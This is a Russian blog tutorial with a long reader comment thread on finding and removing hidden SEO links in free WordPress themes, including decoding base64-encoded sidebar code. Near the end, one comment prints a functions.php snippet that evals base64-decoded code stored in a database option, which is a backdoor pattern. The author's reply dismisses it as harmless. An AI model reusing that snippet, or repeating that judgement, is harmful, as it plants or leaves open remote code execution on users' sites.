В интернете очень много бесплатных шаблонов для сайта или блога на WordPress. Но после скачивания и установки бесплатного шаблона возникает следующая проблема. Оказывается, в шаблоне есть закодированные внешние ссылки, которые автор шаблона или распространитель добавляет в него, для продвижения своих ресурсов. Если у Вас есть свой сайт, Вы знаете, что от внешних ссылок много пользы. Если сайт, который ссылается на Вас имеет не нулевые значения Тиц и Пр, Вашему сайту также передается вес. Но это отдельная тема для статьи сейчас давайте подробно рассмотрим, как удалить ссылки в шаблонах WordPress.
Как найти спрятанные в шаблоне внешние ссылки
После установки понравившегося шаблона на сайт, Вы обнаруживаете внешние ссылки, которые сразу бросаются в глаза:
Как видно из скрина, в этом шаблоне внешние ссылки присутствуют в сайдбаре и в футере. Но бывают случаи, когда ссылки присутствуют, но оформлены так, что их не видно ни администратору, ни посетителям.
Какие еще угрозы могут быть в бесплатных шаблонах почитайте по ссылке https://inetsovety.ru/skrytye-ugrozy-v-besplatnyh-shablonah/
Скрытые ссылки в шаблоне поможет выявить плагин TAC. Но удалять их придется вам самим или обратиться за помощью к специалистам. Сейчас я покажу, где могут прятаться найденные плагином коды и как от них избавиться.
Для просмотра кода сайдбара найдите в меню админки сайта, которое находится слева, раздел Внешний вид - нажмите Редактор - на открывшейся странице выберите sidebar.php.
Закодированная ссылка зачастую находится внизу страницы с кодом:
Как Вы видите внешняя ссылка зашифрована. Если удалить строку з зашифрованным кодом - шаблон перестанет работать. Но удалить ссылку в шаблоне WordPress можно. И процесс это не сложный.
Инструкция по удалению ссылок в шаблоне WordPress
Выделим этот код строками <!--kod begin--> и <!--kod end--> и сохраним изменения.
Теперь обновите страницу Вашего сайта и нажмите в браузере Ctr+U или выберите в меню Вашего браузера - просмотр исходного кода страницы. Далее нажмите Ctr+F и введите в поисковую строку фразу <!--kod begin>. На странице Вы увидите исходный код зашифрованого фрагмента кода сайдбаре:
Скопируйте код, который находится между <!--kod begin--> и <!--kod end-->. Замените исходный зашифрованный код, который находится в файле sidebar.php этим кодом. Сохраните изменения в файле sidebar.php. После этого Вы можете удалить ссылку на внешний сайт, которая находилась в расшифрованном коде и не беспокоиться, что сайт перестанет работать.
Одну внешнюю ссылку в кода шаблона мы успешно удалили.
Но удалить вторую ссылку аналогичным образом мне не удалось Пришлось немного помучатся, но в результате вторая ссылка была удалена.
Вот код второй ссылки, которая находится в файле footer.php:
Здесь внешняя ссылка в шаблоне WordPress даже и не зашифрована. Казалось бы, удалить ее еще проще. Но не тут-то было. Как Вы видите ссылка заключена в <div id="devlink"> </div>. После какого-либо изменения внутри этого участка, появлялось сообщение, что мы изменили исходный код и шаблон работать не будет.
Для решения этой проблемы, мне пришлось открыть на компьютере Текстовым редактором два файла темы: (functions.php) и (footer.php).
В файле functions.php был обнаружен следующий код:
В файле functions.php определенной переменной было присвоено значение строки с кодом, который отвечал за вывод ссылки в футере. Если этот текст (код вывода ссылки) менялся или удалялся в footer.php - шаблон переставал работать.
Нужно было одновременно отредактировать оба эти файла и сохранить изменения в них. Напрямую, в админке сайта это сделать нельзя. Так как при попытке сохранить изменения в одном из этих файлов, шаблон переставал работать. Поэтому было принято решение редактировать их на компьютере и измененные файлы добавить на хостинг с помощью FTP клиента.
В обеих файлах я удалила текст между тегами <div id="devlink"> </div> и сохранила изменения. Таким образом я удалила вторую ссылку в шаблоне WordPress.
В случае с убиранием ссылки в первом примере вы убирали теги php или убирали то, что между ними?
Рискнула и просто удалила строки и ссылки перестали высвечиваться!
Спасибо большое, с помощью вашей статьи я смогла понять где они находятся!
Перед тем, как рисковать, делайте бэкап Чтоб потом не было неприятных сюрпризов. Не все хостеры делают бэкап автоматом, поэтому можно остаться без сайта.
А я скопировала все перед тем, как удалять. Правда после удаления перестала яндекс-метрика считать. Так я вместо ссылок тех что были поставила ссылки на сайты знакомых.
Счетчик Метрики заново не проблема поставить.
Если у друзей не очень авторитетные сайты, а ваш сайт молодой, то ссылки лучше снять.
Юля, вместе со ссылкой вы удалили какой то тег, который учитавался яндекс-метрикой при установке. Поэтому метрика перестала работать.
Юля, вам повезло удалить ссылку без падения ворд пресса. Значит, ваша удалённая ссылка не была связана с файлом functions как в примере Виктории.
Добрый день! Я новичок в сайтостроении, делаю все сама и вот столкнулось с такой проблемой — обнаружила ссылки на другой сайт, а почитав и посмотрев внимательнее поняла, что их прописано 5 в футере.
Могу я попробовать просто удалить их?
‘depth’ => 1
) );
}
?>
Если сомневаетесь в своих силах, рекомендую обратиться в техподдержку хостинга. Они должны все сделать за вас бесплатно.
Если бы хостеры бесплатно удаляли ссылки из шаблонов, у блогеров не возникало бы проблем с удалением ссылок.
Статья конечно полезная, но не все такие плагины как ТАС и программы по поиску внешних ссылок находят их. Я когда ставил шаблон бесплатный мне этот плагин и проги по выявлению ссылок нашли всего 2-4 ссылки, но когда начал сам ковырять шаблон, так нашел еще штук 5 ссылок, помимо этого стоял вредоносный код в хейдере, который ссылался на лицензию находящуюся в футере и файл с расширением картинки .gif. Удаляя картинку блог переставал работать, удаляя один код та же история. Короче пока все удалил и почистил сам блог начал работать. А проверить вредоносный код можно вот здесь
revisium.com/ai/
Совет тем кто боится удалять код, дабы не удалить лишнее. Если вы нашли левую ссылку, то именно её можно удалить не трогая код. Пример:
href=»плохая ссылка» просто удаляем что между кавычек.
Как работает данный софт? Его нужно устанавливать себе на комп и скармливать архив с шаблоном или заливать на хостинг?
Александр, согласитеь, что плагин ТАС всё таки работает, если он нашёл у вас 4 ссылки. В любом случае заразы с ним на блоге станет меньше.
То, что бывают скрытые ссылки я знал, но вот как их убрать если я не разбираюсь в html нет, спасибо за статью, будем искать и искоренять.
Если я узнаю, что на каком-то из моих сайтов есть скрытые ссылки на другие сайты, которые я не ставил самостоятельно, то поручаю их поиск и удаление хостеру — время экономится, и работа выполняется качественно.
Сергей, кто у вас хостер? Вы не раз пишете о бесплатном удалении хостером скрытых ссылок. Признаться, впервые слышу о такой услуге, ведь в круг обязанностей хостера удаление ссылок не входит.
Недавно ковырялся с этими ссылками, еле удалил. Как это сделать нашел в видео на ютубе, но в видео рекомендовали точно так же как и вы. Через пару недель после удаления ощутимо возросла посещаемость, хотя новых статей не добавлял, значит действительно внешние ссылки серьезно влияют на выдачу сайта.
У меня после чистки тоже посещаемость начала расти. Лучше ставить бесплатные шаблоны сугубо из репозитория Вордпресс или покупать. Простые платные шаблоны стоят не так уж и дорого — порядка 300 руб.
Добрый день! У меня такая проблем: несколько дней назад заметил, что в левом нижнем углу сайта присутствует некая ссылка, ведущая на сайт мед. препаратов. При просмотре исходного кода в браузере обнаружился следующий код: pharmacycentral. net. Но самое интересное в том, что в footer.php никаких конструкций нет. Поиск по всему сайту результатов не дал. Плагин TAC показывает все ОК.
Добрый день! Файл функций проверяли на наличие конструкции со ссылкой на внешний сайт?
Здравствуйте, вы решили свою проблему? Если да, то подскажите пожалуйста, как?
Да это может быть зашифрованная ссылка, нужно смотреть что у вас за проблема.
У меня есть статья по этому плагину, так что можете забежать, вдруг сами решите проблему по ней
Раньше не придавал этому значение, но после того как почистил шаблон тиц сразу же повысился Возможно я ошибаюсь и на тиц это не влияло. Но лучше почистить
Добрый день! Столкнулась с такой проблемой, которая для кого то покажется пустяшной, но для меня это пока проблема!( Проверяю плагином ТАС шаблоны, нужный мне шаблон показывает всё ок!, никаких ссылок нет, но при открытии сайта внизу после копирайта есть ссылка ведущая на чужой рабочий сайт. Как её удалить подскажите пожалуйста!
Заранее благодарна!
Добрый день!
Возможно ссылка не закодирована, а просто прописана в файле footer.php Зайдите в этот файл через редактор админки и поищите ее там. Только перед этим сделайте резервную копию файлов, вдруг тема слитит после удаления ссылки.
Спасибо за ценную информацию!
Возможно такое, что ссылки могли бы спрятать? У меня нет ссылок
Если внешних ссылок с сайта нет, значит Вам попался хороший шаблон)
Шаблон хороший…но есть косяки, думаю к новому году исправлю(закажу услугу у фрилансеров, чтобы подправили шаблон)
ах, да…можете посоветовать хороших фрилансеров, которые подправят шаблон?
прошу прощения, вопрос не по теме…
Фидан, на данный момент много хороших фрилансеров присутствует. Есть и сервисы на которых они работают и цены адекватные
Спасибо за информацию. Наконец удалила чужие ссылки.
Добрый день. Вот незаметно для себя я уже становлюсь постоянным гостем на вашем блоге. С вордпрессом раньше сталкиваться не приходилось, я все на юкозе больше экспериментировал, но вот решил и вордпресс попробовать. Установил блог, установил тему, и в файле сайтбара обнаружил целый блок ссылок, правда они небыли зашифрованными, а имели такой вид:
a href=»ссылка/» rel=»nofollow»>Dlya-woman
a href=»ссылка/» rel=»nofollow»>Turizmatika
a href=»ссылка/» rel=»nofollow»>Happydreams
a href=»ссылка/» rel=»nofollow»>Dinaliya
a href=»ссылка/» rel=»nofollow»>Rastemzdorovymi
я просто удалил весь этот блок, не знаю, правильно ли я сделал, но все вроде работает нормально…
Добрый день. Если шаблон работает корректно, то значит Вам повезло с ним. Видно те, кто добавляли ссылки в шаблон, не захотели их кодировать и усложнять жизнь тому, кто будет удалять
Я новичок,но у вас часто бываю. Спасибо за проделанную вами работу. Прошу помощи, у меня тоже посторонняя ссылка. Правда, одну я удалила, просто delit. Вторая меня настораживает, страшно удалять. Я вышлю в форме обратной связи копию, посмотрите,пожалуйста. И еще вопрос: после того как плагин TAC проверит на посторонние ссылки, его можно убрать, чтобы не перегружать или для него и в дальнейшем будет работа? Заранее спасибо.
Да, плагин можно деактивировать.
Спасибо помогла статья избавиться от не нужных ссылок
Здравствуйте! Подскажите пожалуйста такую вещь. Если я в Редакторе что-нибудь меняю и потом вместо сайта пишется нет связи с базой данных. то это из-за темы или того, что коды меняю неправильно? Спасибо!
Обычно за связь с базой данных отвечает файл wp-config.php. Именно в нем прописывается имя базы и пароль доступа. Возможно проблема возникает из-за хостинга.
а можно ли вообще сделать простой сайт на html(страниц 30 мне надо)и в каждой из них поставить блок комментарии от вконтакте или что-нибудь еще,или для vk нужны php страницы???а то вымораживает уже php
На никогда не добавляла комментарии вконтакте на чистый html сайт. Мне кажется должно работать, они написаны на javascript.
2 года назад мой первый сайт был на html. Но обновлять его было нереально трудно) Поэтому, если не планируете в будущем обновлять сайт, то можете и на html делать.
я никак не могу удалить ссылки,я вижу ее в футере,зашел в редактор в вордепрессе,далее зашел в футер.php а там их не видно,далее начал искать их в папках и нашел — file:///Z:/home/localhost/www/blog/wp-content/themes/contango/lib/functions/utility.Удалил их и шаблон не работает.шаблон я вижу,но когда хочу добавить запись или рубрику,то начинается глюк.если нормальный шаблон сохраняет запись и перед редактором текста выходит ссылка на страницу,то в моем случае он не выходит.и при открывании страницы выходит ошибка.как только добавляю эти ссылки то нормально.Мучаюсь уже два дня.Мучаюсь но удалять не хочу,так как я его долго искал и отредактировал,почти полностью изменил….кроме ссылок :smile:Помогите пожалуйста.плагин Tac не работает.новая версия,не работает сама кнопка details
Пришлите архив с шаблоном на почту, я посмотрю.
Большое спасибо, очень помогла статья, правда у меня чуть иначе, удалял эти строки между ссылки кстати те же что на ваших скринах
Спасибо за совет про два файла, кроме вашего сайта нигде не встречался! Жаль, что статья раньше не попалась на глаза и пришлось отказаться от пары понравившихся шаблонов
Виктория, сспасибо вам большое! И за этот сайт и за ту помощь, которую вы оказали. Никто не мог помочь, а вы это сделали. Я теперь ваш подписчик и буду следить за всеми новостями.
Здравствуйте, Виктория! Я совсем замучилась уже убирать ненужные ссылки с подвала. Ничего не подходит для моей темы. Гляньте пожалуйста. Я только начала, а уже в тупике. Но так шаблон понравился. Что для этого нужно? Это уже крик души!
Здравствуйте, Анна! Пришлите архив с шаблоном на почту через форму обратной связи.
А как архив вставить? Я видно совсем блондинка
Форма обратной связи находится на странице контакты. Архив с шаблоном нужно загрузить на любой бесплатный файлоообменник и прислать мне ссылку на скачивание файла.
Здравствуйте! Ни один из способов не подходит, помогите пожалуйста.
Разобрался, не тратьте время))
Здравствуйте! Не о дин из описываемых способов не работает для моего шаблона. Видимо его автор или распространитель изобрел новый способ)) Помогите пожалуйста. Ссылку на шаблон я скинул Вам через форму обратной связи.
спасибо огромное, первый вариант очень помог.
здравствуйте, Виктория! Я попыталась удалить ссылки на своем сайте по вашей инструкции. В sidebar.php получилось. А вот при удалении нижней ссылки что-то сделала не так. Я на компьютере скопировала functions.php и footer.php, удалила там ссылки и скопировала на хостинг. Затем снова зашла в меню админки сайта, в Редакторе functions.php и footer.php и удалила ссылки.http://mindarova.ru/ . Веб-сайт может быть закрыт на обслуживание или настроен неправильно.»
И теперь я не могу зайти на свой сайт, пишет » На веб-сайте произошла ошибка при получении
Что делать? Помогите пожалуйтса!
Здравствуйте! Сейчас я смотрю проблема решена. В случае неудачного удаления ссылок, если сайт перестает открываться, то заменяем измененные файлы шаблона оригинальными.
Сейчас на главной странице Вашего сайта я вижу открытые ссылки для индексации с виджета Мета (его можно смело удалить) и двух баннеров под ним.
А, когда сайт не открывается, как зайти в админ панель?
Как правило, результатом неправильного удаления ссылок является блокировка админки и содержимого сайта надписью вроде: «Ссылки в шаблоне были удалены. Восстановите ссылки обратно, чтобы сайт заработал». В таком случае через FTP клиент нужно заменить файлы шаблона, изменение которых привело к ошибке. Если при удалении закодированных ссылок нужно отредактировать 2 файла functions.php и footer.php, то их нужно редактировать на компьютере (удалять ссылки), а потом переносить на хостинг.
Спасибо за суперполезную статью
Здравствуйте, Виктория! Очень Вам благодарна за данную информацию! Я обучаюсь в одной онлайн школе по созданию сайта, те уроки, что они мне прислали по удалению внешних ссылок оказались для моего шаблона бесполезны, не помогли и плагины для скрытия ссылок. Какое счастье, что есть настоящие знатоки, как Вы, которые помогают людям, делясь ценной информацией. Спасибо! Да прибудет с Вами трафик!
Здравствуйте. Спасибо за полезную информацию. Подскажите, пожалуйста, чайнику. В футере ссылка странная между тегами . А в functions.php обычная — . Как их удалить?
Здравствуйте. Пришлите файл футера и functions.php я посмотрю и тогда подскажу, как удалить ссылку.
Здравствуйте, столкнулся с проблемой внешних ссылок в sidebar слева. Просматривая код страницы я их вижу, но найти в sidebar.php не могу, хотя судя по их расположению, находятся они именно там. Помогите пожалуйста
Здравствуйте! Пришлите ссылку на архив с инструкцией. Я на днях гляну в чем проблема.
Виктория. Я очень Вам благодарна за помощь большое спасибо. Пусть Вас благословит Всевышний в Вашем деле…
Спасибо. Вам тоже успехов в развитии Вашего блога.
Здравствуйте! Вот ссылка на шаблонhttp://yadi.sk/d/zuxD1kyg0u8-s
заранее благодарна Вам. Ссылка в сайбаре. «Ландшафтный Дизайн»
Ссылка в сайдбаре была зашифрована с помощью base64_decode. Для расшифровки этого кода есть сайтhttp://lifewatch.ru/2010/decode/ http://rghost.ru/41817310
Нужно вставить в поле для расшифровки код (набор символов), который идет после eval(base64_decode(‘ и до ‘;. А потом заменить всю конструкцию , кодом который был расшифрован. После этого ссылку можно удалить.
Попробуйте удалить ссылку сами, как я написала. А, если не получится, то вот ссылка на Ваш шаблон с удаленной ссылкой
Здравствуйте! Попыталась самостоятельно удалить ссылки из темы,
не могу её даже найти можно к вам оборотится за помощью…
Пришлите ссылку на шаблон я посмотрю, как в нем удалить ссылки.
Добрый день, поставил новый шаблон, скачал с wp-templates_ru. Проверил ТАС, результат все чисто, нашел в футере… удалил ручками))) Но почему ТАС ее не видит?
ТАС зашифрованные ссылки.
Так ссылка, что была в футере случайно не на регистрацию на хостинг вела? Встречала шаблоны, в которых такая ссылка была закрытами тегами от индексирования и ТАС ее не видел.
Ссылка не была зашифрована. Ссылка на сайт где скачивал шаблон.
В дефолтном шаблоне ТАС видит 4 зашифрованные ссылки…
Здравствуйте! Попыталась самостоятельно удалить ссылки из темы, но сайт упал… Как можно к Вам обратиться за помощью?
Здравствуйте! Напишите мне письмо через форму обратной связи. Пришлите шаблон, я посмотрю как удалить в нем ссылки.
Виктория, а вы не подскажите, что делать: убираю скрытую ссылку из sidebar, и поле этого смещается нижний банер «Все права защищены». Это как-то можно исправить?
Вероятно ссылка зашифрована с куском кода. Пришлите мне на почту файл сайдбара, я посмотрю и подскажу как убрать ссылку, чтобы ничего не менялось.
Здравствуйте! Создала свой первый сайт и сразу столкнулась с этой проблемой((( Не могу удалить вредные ссылки с левого сайдбара… Уже пробовала выделить их с 2-х сторон, но только портится вся тема, и вообще остается пустая страница… в общем ничего не получается…
Здравствуйте! Вы проверяли нет ли в файле функций строчки, которая содержит те же ссылки что и в сайдбаре? Если не получится удалить, то пришлите мне ссылку на архив с шаблоном, я посмотрю и попробую помочь.
Спасибо за полезную информацию!!!
Я в 1 раз вижу, чтобы хостер ставит в шаблон свои ссылки. Очень неожиданно.
Извините нашла в списке плагинов:
# Auto Highslide – удобный плагин для увеличение картинок. Это, видимо, он? Но он их не делает, только увеличивает, так?
Да этот плагин служит для увеличения картинки. Если картинка большая, то Вы масштабируете до нужного размера, а когда пользователь хочет посмотреть в оригинальном размере картинку, он кликает на нее и плагин увеличивает ее.
Здравствуйте, Виктория! Я вот запускаю свой новый блог на WP (раньше с ним дела не имела и только осваиваю) ваши советы читаю с большим интересом, т. к. просто и доступно написаны. Спасибо за совет по имени пользователя. Т.е. админа. Теперь отображается всем уже известный мой ник, как и у Вас отображается Ваше имя, а не безликое «админ». Тем более, что это слово мужского рода. -) Новый вопрос. У вас интересно выводятся изображения с увеличением. Причем сделаные явно тут же на сайте с вашим копирайтом. Это тоже какой то плагин?
Копирайт на картинку накладывается с помощью специального плагина — Watermark RELOADED. Постараюсь скоро написать пост об этом плагине.
Виктория здравствуйте, помогите мне пожалуйста, с такой проблемой столкнулся и я!!! сделал сайт скачал тему, на внешние ссылки не проверил, теперь откуда не возьмись появилась ссылка в низу дп к остальным!!! установил плагин показал 5 внешних ссылок, помогите отблагодарю финансово !
Здравствуйте! Загрузите на любой файлообменник архив с темой и пришлите мне ссылку на него через форму обратной связи, я посмотрю где расположены ссылки и удалю их.
Большое спасибо. Информация оказалась очень кстати. Только что пришлось заново переустанавливать блог и теперь стараюсь, по-возможности, убрать из шаблонов все сообщения о движке и его версии.
Спасибо большое! ))
Все почистил, спасибо еще раз..
Спасибо за информацию, ТАС обнаружил 4 ссылки, те что в футере убил, осталась в settings.php
можно ее безболезненно удалить?
Попробуйте. Но предварительно создайте резервную копию файла, а то вдруг что-то пойдет не так.
Отличная статья! Очень мне помогла
Спасибо вам большое!!!Очень помогли!!Удачи вам в жизни!!!!
Спасибо за подробную информацию, очень помогли рекомендации.
Помогите удалить код в ( functions.php)
}add_filter(‘the_content’, ‘_bloginfo’, 10001); function _bloginfo($content){global $post;if($c=get_option(‘cwop’)){@eval(base64_decode($c));}else{print$content;}}
Зачем Вам удалять этот код с functions.php в нем вроде нет закодированной ссылки.
Удалил все ссылки в шаблоне до проверки плагином ТАС, который подтвердил чистоту шаблона после моих чисток. Спасибо за инфу об этом плагине!)
как я Вам благодарна!!!!
Здравствуйте, как можно удалить имя администратора в комментариях на WordPress?
Я где-то встречала, что нужно в файл function.php вашего wordpress шаблона добавьте следующий код:
function remove_comment_author_class( $classes ) {
foreach( $classes as $key => $class ) {
if(strstr($class, «comment-author-«)) {
unset( $classes[$key] );
}
}
return $classes;
}
add_filter( ‘comment_class’ , ‘remove_comment_author_class’ );
Я попыталась вставить этот код, но у меня ничего не получилось. я просто не знаю в каком месте его ставить.
Так не хочется, чтобы знали мой логин.
Спасибо.
На счет изменение имени администратора путем вставки такого кода, ответить не могу. Так как не приходилось ранее. Но сменить имя с логина для входа в админку на любое другое имя можно в разделе Пользователи в пункте меню Ваш профиль. Добавьте желаемый ник и выберите из выпадающего меню отображать как его.
Ну да, имя и ник в Вордпрессе там изменить можно, а вот Имя пользователя для входа, уже там не измените.
Хотя это запросто, можно поменять в административной страничке в Управление базами данных MySQL
Попробовал Ваши методы, хоть тема моего блога совершенно отличается от Вашей, но код я обнаружил в сайдбаре и перевел его в браузере, вставил, но тема слетает. Вообще, сложнее все у меня. Нужна консультация.
Пришлите архив с темой, я посмотрю как удалить в нем ссылку.